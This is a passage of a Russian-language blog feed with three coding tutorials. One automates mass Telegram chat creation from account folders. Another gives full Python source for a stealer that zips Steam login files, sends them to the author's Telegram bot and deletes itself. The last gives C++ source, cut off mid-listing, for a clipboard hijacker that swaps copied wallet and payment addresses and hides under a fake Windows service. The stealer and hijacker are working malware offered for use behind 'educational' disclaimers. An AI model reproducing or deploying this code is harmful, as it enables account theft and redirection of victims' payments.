  <p>Сначала мы задаём цвет консоли, делаем его чёрным, затем очищаем её. После этого вызываем функцию blue(), которая окрашивает цвет вывода в синий и после вывода текста окрашиваем будущий текст, который введет пользователь, в зеленый. Сама функция изменения цвета в синий будет ниже, так же как и функции изменения цвета в зеленый и красный:</p>
  <pre>def blue():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 3)

def err():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 4)

def green():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 10)</pre>
  <figure class="m_original">
    <img src="https://teletype.in/files/54/11/5411e899-17ab-4091-b2b1-60ff0e5f9e82.png" width="452" />
  </figure>
  <p>Затем мы добавляем в переменную &quot;VA&quot; папку &#x27;VA&#x27; которая была создана заранее, в которую человек помещает аккаунты TData. </p>
  <p>Далее, всё в той же функции main мы добавляем пару циклов для работы с аккаунтами телеграм.</p>
  <pre>    for i in VA:
		shutil.copytree(&quot;VA\\&quot; + i, &quot;Telegram&quot;)
		shutil.copy(&#x27;Telegram.exe&#x27;, &#x27;Telegram&#x27;)
		app = Application(backend=&quot;uia&quot;).start(&#x27;Telegram\\Telegram.exe&#x27;)
		sleep(3)
		hwnd = win32gui.FindWindow(None, &quot;Telegram&quot;)
		win32gui.MoveWindow(hwnd, 0, 0, 800, 800, True)
		for j in range(int(data)):
			create_chat()
		else:
			app.kill()
			green()
			print(&#x27;Account &#x27; + str(i) + &#x27; completed work!&#x27;)
			blue()
			sleep(1)
			shutil.rmtree(&quot;Telegram&quot;)
			sleep(1)
	else:
		green()
		print(&#x27;Work completed!&#x27;)
		blue()</pre>
  <p>В переменной VA хранятся папки с файлами TData. Далее, используя модуль shutil, мы копируем первую папку из VA и помещаем в каталог Telegram, который будет при этом создан, после копируем сам exe&#x27;шник portable версии Telegram. Затем запускаем его из этой папки, ждем 3 секунды на всякий случай, ибо были и слабые машины, которые не запускают приложение достаточно быстро, хотя это можно было решить и по-другому (например добавлением функции &#x27;visible&#x27;, которая ждёт, пока приложение появится на экране). Затем с помощью win32gui мы получаем hwnd приложения телеграм, чтобы в дальнейшем переместить его на координаты 0, 0 и задать размеры 800, 800. </p>
  <p>Теперь запускаем цикл for, в который передаём значение переменной, введённой пользователем, она отвечает за количество создаваемых чатов и после передаёт управление функции create_chat(). Давайте рассмотрим функцию create_chat()</p>
  <pre>def create_chat():
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(25, 46))
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(111, 195))
	send_keys(&#x27;My Random chat&#x27;, with_spaces=True)
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(540, 468))
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(274, 189))
	send_keys(random_user, with_spaces=True)
	sleep(2)
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(345, 251))
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(541, 686))</pre>
  <p>Тут мы просто используем функции библиотеки pywinauto, которые делают клики мышью и управляют ею. Как можно было догадаться, в coords мы записываем координаты кликов. В send_keys(random_user, with_spaces=True) мы вписываем пользователя которого будем приглашать в чат при создании, ибо этот шаг пропустить нельзя. Идём дальше:</p>
  <pre>		for j in range(int(data)):
			create_chat()
		else:
			app.kill()
			green()
			print(&#x27;Account &#x27; + str(i) + &#x27; completed work!&#x27;)
			blue()
			sleep(1)
			shutil.rmtree(&quot;Telegram&quot;)
			sleep(1)
	else:
		green()
		print(&#x27;Work completed!&#x27;)
		blue()</pre>
  <p>После того как цикл с созданием аккаунта прошёл, мы убиваем это приложение и отписываем, что аккаунт закончил работу, затем ждём одну секунду и удаляем папку Telegram, чтобы создать её вновь с другим аккаунтом.</p>
  <p>После того как все аккаунты закончили работу, мы отписываем в консоль, что работа завершена. Работу программы можно увидеть на гифке ниже:</p>
  <p><a href="https://gifyu.com/image/mzkH" target="_blank">https://gifyu.com/image/mzkH</a></p>
  <p>Ниже преведен конечный вариант кода:<br /></p>
  <pre>import win32gui
import pywinauto
from pywinauto.application import Application
from pywinauto.keyboard import send_keys
from time import sleep
import os
import shutil
from ctypes import *

random_user = &#x27;testbot&#x27;

def blue():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 3)

def err():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 4)

def green():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 10)

def create_chat():
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(25, 46))
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(111, 195))
	send_keys(&#x27;My Random chat&#x27;, with_spaces=True)
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(540, 468))
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(274, 189))
	send_keys(random_user, with_spaces=True)
	sleep(2)
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(345, 251))
	pywinauto.mouse.click(button=&#x27;left&#x27;, coords=(541, 686))


if __name__ == &#x27;__main__&#x27;:
	os.system(&quot;COLOR 01&quot;)
	os.system(&quot;CLS&quot;)
	blue()
	print(&#x27;How many chats to create?&#x27;)
	green()
	data = input(&quot;&gt;&gt;&gt; &quot;)
	os.system(&quot;CLS&quot;)
	VA = os.listdir(path=&quot;VA&quot;) # Dir Valid Accaunt
	for i in VA:
		shutil.copytree(&quot;VA\\&quot; + i, &quot;Telegram&quot;)
		shutil.copy(&#x27;Telegram.exe&#x27;, &#x27;Telegram&#x27;)
		app = Application(backend=&quot;uia&quot;).start(&#x27;Telegram\\Telegram.exe&#x27;)
		sleep(3)
		hwnd = win32gui.FindWindow(None, &quot;Telegram&quot;)
		win32gui.MoveWindow(hwnd, 0, 0, 800, 800, True)
		for j in range(int(data)):
			create_chat()
		else:
			app.kill()
			green()
			print(&#x27;Account &#x27; + str(i) + &#x27; completed work!&#x27;)
			blue()
			sleep(1)
			shutil.rmtree(&quot;Telegram&quot;)
			sleep(1)
	else:
		green()
		print(&#x27;Work completed!&#x27;)
		blue()</pre>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: https://t.me/CodingCommunity </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/ryMWVgpqr</guid><link>https://teletype.in/@codingcommunity/ryMWVgpqr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/ryMWVgpqr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Отправка Steam файлов авторизации через бота в телеграм</title><pubDate>Mon, 04 Nov 2019 00:42:33 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/39/397d4d39-71ba-465c-85ef-270992076b91.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/39/397d4d39-71ba-465c-85ef-270992076b91.png"></img>Весь материал исключительно в ознакомительных целях.
Все началось с этой статьи:]]></description><content:encoded><![CDATA[
  <p>Весь материал исключительно в ознакомительных целях.<br />Все началось с этой статьи:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/39/397d4d39-71ba-465c-85ef-270992076b91.png" width="695" />
  </figure>
  <p>Мне захотелось сделать скрипт который будет копировать эти файлы и отправлять их нам в архиве.<br />Меньше слов больше кода.</p>
  <p>Начинаем как обычно с импорта зависимостей. Рекомендую конвертировать скрипт в exe с помощью PyInstaller.</p>
  <pre>import os
import shutil
import zipfile
from telethon import TelegramClient, events
import asyncio</pre>
  <p>Далее зададим константы:</p>
  <pre>exe_name = &#x27;steam.exe&#x27;
FOLDER_ARCHIVE = os.getenv(&#x27;APPDATA&#x27;) + &#x27;\\cache&#x27;
STEAM_PATH = &#x27;C:\\Program Files (x86)\\Steam&#x27; 
YOU_ID = 123123123
bot = TelegramClient(&#x27;bot&#x27;, 123123, &#x27;xxxxxxxxxxxxxxxx&#x27;).start(bot_token=&#x27;123123:xxxxxxx-xxxxxxxx&#x27;)</pre>
  <p>В exe_name необходимо вписать название нашего будущего файла, т.к. после отправления данных, он самоликвидируется. <br />Вторая строка - место, куда временно будут сохраняться файлы до отправки. После отправки мы их конечно же удалим.<br />Третья строка отвечает за папку стима, по умолчанию стим устанавливается в C:\\Program Files (x86)\\Steam.<br />На четвертой строке мы указываем наш айди в телеграме. Не забывайте что боту надо написать старт что бы он мог вам что либо отправлять.<br />Т.к. отправка будет происходить с помощью либы telethon - нам необходимо получить api_id и api_hash ну и соответственно бот токен.<br />Как получить api_id и api_hash можете узнать в этой статье: <a href="https://teletype.in/@codingcommunity/BJszHdLvN" target="_blank">Клик<br /></a>Токен бота получаем у @BotFather. </p>
  <p>С самым сложным разобрались, давайте двигаться к лёгкому. <br />Далее идёт функция создания папки, копирования файлов и их дальнейшая архивация.</p>
  <pre>async def get_files():
	try:
		os.makedirs(FOLDER_ARCHIVE)
	except:
		pass
	ssfn_array = []
	for root, dirs, files in os.walk(STEAM_PATH):
		for i in files:
			if i.startswith(&#x27;ssfn&#x27;):
				ssfn_array.append(i)

	shutil.copy(STEAM_PATH + &#x27;\\config\\config.vdf&#x27;, FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + &#x27;\\config\\loginusers.vdf&#x27;, FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + &#x27;\\config\\steamapps.vrmanifest&#x27;, FOLDER_ARCHIVE)
	for ssfn in ssfn_array:
		shutil.copy(STEAM_PATH + &#x27;\\&#x27; + ssfn, FOLDER_ARCHIVE)

	file = os.listdir(FOLDER_ARCHIVE)
	for filess in file:
		newzip = zipfile.ZipFile(FOLDER_ARCHIVE + &#x27;\\steams.zip&#x27;,&#x27;a&#x27;)
		newzip.write(FOLDER_ARCHIVE +&#x27;\\&#x27; + str(filess))
		newzip.close()</pre>
  <p>Итак, поподробнее, на первых четырёх строчках,используя try-except, мы пробуем создать папку если таковой нет в AppData/Roaming, если такой папки не существует то мы её создадим. Далее мы с помощью цикла идём по папке Steam и ищем там заветные ssfn файлы, добавляем их в массив для последующего копирования.<br />Далее идут 3 строки которые отвечают за копирование нужных файлов авторизации. Затем мы проходим циклом по массиву с нашими ssfn файлами и так же копируем их в нужную нам папку.</p>
  <p>Далее идёт очень фрагмент кода, в нём мы архивируем все файлы из папки в которую сохранили конфиги. После создания архива, прописываем главную функцию.</p>
  <pre>async def main():
	await get_files()
	await bot.send_file(YOU_ID, FOLDER_ARCHIVE + &#x27;\\steams.zip&#x27;)
	shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None)
	os.remove(os.getcwd() + &#x27;\\&#x27; + exe_name)

asyncio.get_event_loop().run_until_complete(main())</pre>
  <p>Здесь сначала создаётся асинхронная функция, потому что Teleton работает только асинхронно. Далее вызываем функцию по созданию архива, затем отправляем на ваш айди архив, после чего удаляем папку из AppData/Roaming и сам скрипт. к сожалению, у пользователя остаётся файл сессии, но не думаю что обычный юзер поймет, для чего он и попросту его удалит.</p>
  <p>Последняя строка отвечает за запуск функции main().</p>
  <p>Полный листинг:</p>
  <pre>import os
import shutil
import zipfile
from telethon import TelegramClient, events
import asyncio

exe_name = &#x27;steam.exe&#x27;
FOLDER_ARCHIVE = os.getenv(&#x27;APPDATA&#x27;) + &#x27;\\cache&#x27;
STEAM_PATH = &#x27;C:\\Steam&#x27; 
YOU_ID = 123123
bot = TelegramClient(&#x27;bot&#x27;, 123123, &#x27;xxxxxxx&#x27;).start(bot_token=&#x27;123123:xxxx-xxxx&#x27;)

async def get_files():
	try:
		os.makedirs(FOLDER_ARCHIVE)
	except:
		pass
	ssfn_array = []
	for root, dirs, files in os.walk(STEAM_PATH):
		for i in files:
			if i.startswith(&#x27;ssfn&#x27;):
				ssfn_array.append(i)

	shutil.copy(STEAM_PATH + &#x27;\\config\\config.vdf&#x27;, FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + &#x27;\\config\\loginusers.vdf&#x27;, FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + &#x27;\\config\\steamapps.vrmanifest&#x27;, FOLDER_ARCHIVE)
	for ssfn in ssfn_array:
		shutil.copy(STEAM_PATH + &#x27;\\&#x27; + ssfn, FOLDER_ARCHIVE)

	file = os.listdir(FOLDER_ARCHIVE)
	for filess in file:
		print(filess)
		newzip = zipfile.ZipFile(FOLDER_ARCHIVE + &#x27;\\steams.zip&#x27;,&#x27;a&#x27;)
		newzip.write(FOLDER_ARCHIVE +&#x27;\\&#x27; + str(filess))
		newzip.close()

async def main():
	await get_files()
	await bot.send_file(YOU_ID, FOLDER_ARCHIVE + &#x27;\\steams.zip&#x27;)
	shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None)
	os.remove(os.getcwd() + &#x27;\\&#x27; + exe_name)

asyncio.get_event_loop().run_until_complete(main())</pre>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: https://t.me/CodingCommunity <br /><br /></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/SyNQkO49S</guid><link>https://teletype.in/@codingcommunity/SyNQkO49S?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/SyNQkO49S?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Клиппер на С++</title><pubDate>Mon, 28 Oct 2019 13:37:31 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/63/63389bd8-2dee-47a2-b351-d1b86e7b1c76.png"></img>Телеграм канал: https://t.me/CodingCommunity
Весь материал исключительно в ознакомительных целях.
Хотелось бы начать с того - почему я вообще сел писать клиппер на плюсах. У меня пригорело с одного поста который скинули в один чат:]]></description><content:encoded><![CDATA[
  <p>Телеграм канал: https://t.me/CodingCommunity<br />Весь материал исключительно в ознакомительных целях.<br />Хотелось бы начать с того - почему я вообще сел писать клиппер на плюсах. У меня пригорело с одного поста который скинули в один чат:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/63/63389bd8-2dee-47a2-b351-d1b86e7b1c76.png" width="432" />
  </figure>
  <p>И тут у меня пригорело, за это ЧУДО 1500... Я - не зная С++, имея гугл смог написать такой же за одну ночь. Почему не C#? Потому что на просторах интернета уже есть клиппер на C#, не хотелось повторять за кем то.<br />Ну как обычно - тут море ужасного кода, никого не призываю повторять за мной. Так что извините. Начинать мы будем с Инклюдов (#include), грубо говоря это как библиотеки в Python, #include нам говорит что надо подключить сторонний файл.</p>
  <pre>#include &lt;iostream&gt;
#include &quot;windows.h&quot;
#include &quot;string.h&quot;
#include &lt;direct.h&gt;
#include &lt;shlobj.h&gt;
#include &quot;Shlwapi.h&quot;
#include &lt;sys/stat.h&gt;
#include &lt;Shellapi.h&gt;</pre>
  <p>С этим разобрались. Ах, да, чуть не забыл, вам не обязательно качать Visual Studio для компиляции, можете поставить IDE Dev C++ и компилятор GCC, но тогда размер выходного файла у вас будет ~1.8 MB.</p>
  <p>Далее давайте сразу объявим наши константы которые будут отвечать за ваши кошельки.</p>
  <pre>const char* QIWI = &quot;+77005553535&quot;;
const char* WMR = &quot;P123456789101&quot;;
const char* WMZ = &quot;Z123456789101&quot;;
const char* WMX = &quot;X123456789101&quot;;
const char* WMU = &quot;U123456789101&quot;;
const char* BTC = &quot;34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo&quot;;
const char* ETH = &quot;0xc137a2e0d5176009c7ce88b9611b28a123c3881b&quot;;
const char* STEAM = &quot;https://steamcommunity.com/tradeoffer/new/?partner=123123&amp;token=qweqwe&quot;;
const char* DonAlerts = &quot;https://www.donationalerts.com/r/qwe123&quot;;
const char* QiwiMe = &quot;https://qiwi.me/qwe123&quot;;
const char* YandexDisk = &quot;https://yadi.sk/d/qwe123&quot;;</pre>
  <p>Тут думаю и так понятно что в кавычки надо вставить ваши кошельки, задерживаться не будем, впереди куча всего интересного.</p>
  <p>Далее будет просто огромная функция Main.</p>
  <pre>int main(){
	copy_me();
	while (true){
		if( OpenClipboard(NULL))
		{
		    std::string data = (char*)GetClipboardData(CF_TEXT);
		    	if (data.find(&quot;+7&quot;) == 0){
		    		const size_t len = strlen(QIWI) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QIWI, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
		    		
				} else if (data.find(&quot;P&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMR) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMR, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;Z&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMZ) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMZ, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;U&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMU) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMU, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;X&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMX) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMX, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.length() == 34){
					const size_t len = strlen(BTC) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), BTC, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;0x&quot;) == 0 &amp;&amp; data.length() == 42){
					const size_t len = strlen(ETH) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), ETH, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://steamcommunity.com/tradeoffer/new/?partner=&quot;) == 0){
					const size_t len = strlen(STEAM) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), STEAM, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://www.donationalerts.com/r/&quot;) == 0){
					const size_t len = strlen(DonAlerts) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), DonAlerts, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://qiwi.me/&quot;) == 0){
					const size_t len = strlen(QiwiMe) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QiwiMe, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://yadi.sk/d/&quot;) == 0){
					const size_t len = strlen(YandexDisk) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), YandexDisk, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				}
		
		               
		            CloseClipboard();
		
		    }
			Sleep(500);
	}
	return 0;
}</pre>
  <p>Вначале видно что мы вызываем другую функцию, но об этом чуть позже, Сначала мы запускаем бесконечный цикл который будет открывать буфер обмена каждые 0.5 секунд и проверять в нём текст, если он находит совпадения - он заменяет его. А теперь давайте займемся самым непонятным, разберём хотя бы один блок else if.<br />Да и кст, думаю что вам понятен принцип, так что вы сможете добавить свои кошельки которые вам нужны. Не вижу смысла расписывать, ведь вы у меня умные.</p>
  <pre>else if (data.find(&quot;P&quot;) == 0 &amp;&amp; data.length() == 13){
		const size_t len = strlen(WMR) + 1;
		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		memcpy(GlobalLock(hMem), WMR, len);
		GlobalUnlock(hMem);
		EmptyClipboard();
		SetClipboardData(CF_TEXT,hMem);</pre>
  <p>Для начала мы проверяем, начинается ли строка в буфере обмена с символ &quot;P&quot;, а так же необходимо что бы длинна строки была 13 символов, именно столько у кошельков WMR. Далее мы создаём переменную с длинной нашей строки и прибавляем единицу для символа /0. (Да, я тоже не особо понял зачем он там, но он там нужен, поверьте). Далее мы выделяем необходимое место в памяти, затем разблокируем её и добавляем в буфер обмена нашу константу с нашим WMR кошельком. Остальные else if как бы похожи, думаю принцип понятен.</p>
  <p>Перейдем к функции copy_me()</p>
  <pre>void copy_me(){
	char* appdata = getenv(&quot;APPDATA&quot;);
	char* folder = &quot;\\WinServer&quot;;

    char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	    mkdir(rdy_folder);
	}

    TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );

	char* file_name = &quot;\\Win1337.exe&quot;;
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);

	std::string st( &quot;/create /sc MINUTE /mo 1 /tn \&quot;Windows Service1337\&quot; /tr &quot; );
	std::string stw( rdy_folder );
	std::string stw2( &quot; /f&quot; );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, &quot;open&quot;, &quot;schtasks.exe&quot;, teeeeeee, 0, SW_HIDE);</pre>
  <p>Ну что же, начнём с самого начала.</p>
  <pre>	char* appdata = getenv(&quot;APPDATA&quot;);
	char* folder = &quot;\\WinServer&quot;;</pre>
  <p>Тут мы узнаем путь до папки AppData в которую в будущем будет помещена другая папки под названием WinServer, в неё мы будем закидывать копию нашей программы что бы та запускалась, но об этом чуть позже.</p>
  <pre>	char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	mkdir(rdy_folder);
	}</pre>
  <p>Тут в первой строке мы соединяем нашу AppDat&#x27;у и нашу папку, попутно занося это в переменную rdy_folder, Далее мы вызываем функцию IsPathExist() которая на вход принимает путь до папки. И возвращает True или False в зависимости от результата.</p>
  <pre>bool IsPathExist(const std::string &amp;s)
{
  struct stat buffer;
  return (stat (s.c_str(), &amp;buffer) == 0);
}</pre>
  <p>Возвращает True если папка существует.</p>
  <p>Но т.к. в первый наш запуск нам возвращается False то мы создаём папку.</p>
  <pre>	if (!IsPathExist(rdy_folder)){
	    mkdir(rdy_folder);
	}</pre>
  <p>Далее нам необходимо получить путь до нашего файла который запустил пользователь что бы в дальнейшем его скопировать.</p>
  <pre>	TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );</pre>
  <p>2048 это размер пути, он может быть 35 или 36к символов, но думаю нам хватит 2к.<br />Далее нам необходимо скопировать наш файл в ту самую папку в AppData:</p>
  <pre>	char* file_name = &quot;\\Win1337.exe&quot;;
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);</pre>
  <p>Тут мы складываем пути до нашей папки в AppData и добавляем к нему наш файл. Затем используя функцию CopyFile просто копируем.</p>
  <p>Далее нам необходимо создать службу которая будет запускать файл из нашей папки AppData каждую минуту.</p>
  <pre>	std::string st( &quot;/create /sc MINUTE /mo 1 /tn \&quot;Windows Service1337\&quot; /tr &quot; );
	std::string stw( rdy_folder );
	std::string stw2( &quot; /f&quot; );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, &quot;open&quot;, &quot;schtasks.exe&quot;, teeeeeee, 0, SW_HIDE);</pre>
  <p>Сначала мы создаём строку с запросом, в ней пишем название службы и запуск службы каждую минуту.<br />Затем нам нужна наша папка, заносим её в отдельную переменную, затем заносим /f который должен быть в конце. Далее мы складываем 3 строки и переводим из string в char что бы ShellExecute это смог исполнить.</p>
  <p>Так же немаловажный атрибут SW_HIDE который не позволяет нашей консоли открыться и делает её невидимой.</p>
  <p>Можно было бы конечно скрыть папку в AppData но мы ведь тут с вами только ради ознакомления. <br />Чуть не забыл самое главное, при компиляции укажите флаг -mwindows что бы софт запускался без консоли.</p>
  <p>Далее как обычно будет полный листинг программы:</p>
  <pre>#include &lt;iostream&gt;
#include &quot;windows.h&quot;
#include &quot;string.h&quot;
#include &lt;direct.h&gt;
#include &lt;shlobj.h&gt;
#include &quot;Shlwapi.h&quot;
#include &lt;sys/stat.h&gt;
#include &lt;Shellapi.h&gt;


const char* QIWI = &quot;+77005553535&quot;;
const char* WMR = &quot;P123456789101&quot;;
const char* WMZ = &quot;Z123456789101&quot;;
const char* WMX = &quot;X123456789101&quot;;
const char* WMU = &quot;U123456789101&quot;;
const char* BTC = &quot;34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo&quot;;
const char* ETH = &quot;0xc137a2e0d5176009c7ce88b9611b28a123c3881b&quot;;
const char* STEAM = &quot;https://steamcommunity.com/tradeoffer/new/?partner=123123&amp;token=qweqwe&quot;;
const char* DonAlerts = &quot;https://www.donationalerts.com/r/qwe123&quot;;
const char* QiwiMe = &quot;https://qiwi.me/qwe123&quot;;
const char* YandexDisk = &quot;https://yadi.sk/d/qwe123&quot;;


// Проверяем есть ли такая папка
bool IsPathExist(const std::string &amp;s)
{
  struct stat buffer;
  return (stat (s.c_str(), &amp;buffer) == 0);
}

void copy_me(){
	char* appdata = getenv(&quot;APPDATA&quot;);
	char* folder = &quot;\\WinServer&quot;;
	
	char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	mkdir(rdy_folder);
	}
	
	// Получаем путь откуда запущен файл
	TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );
	
	// Копируем файл
	char* file_name = &quot;\\Win1337.exe&quot;;
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);</pre>
  <pre>
	// Создаём слжбу
	std::string st( &quot;/create /sc MINUTE /mo 1 /tn \&quot;Windows Service1337\&quot; /tr &quot; );
	std::string stw( rdy_folder );
	std::string stw2( &quot; /f&quot; );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, &quot;open&quot;, &quot;schtasks.exe&quot;, teeeeeee, 0, SW_HIDE);	
}

int main(){
	copy_me();
	while (true){
		if( OpenClipboard(NULL))
		{
		    std::string data = (char*)GetClipboardData(CF_TEXT);
		    	if (data.find(&quot;+7&quot;) == 0){
		    		const size_t len = strlen(QIWI) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QIWI, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
		    		
				} else if (data.find(&quot;P&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMR) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMR, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;Z&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMZ) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMZ, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;U&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMU) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMU, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;X&quot;) == 0 &amp;&amp; data.length() == 13){
					const size_t len = strlen(WMX) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMX, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.length() == 34){
					const size_t len = strlen(BTC) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), BTC, len);
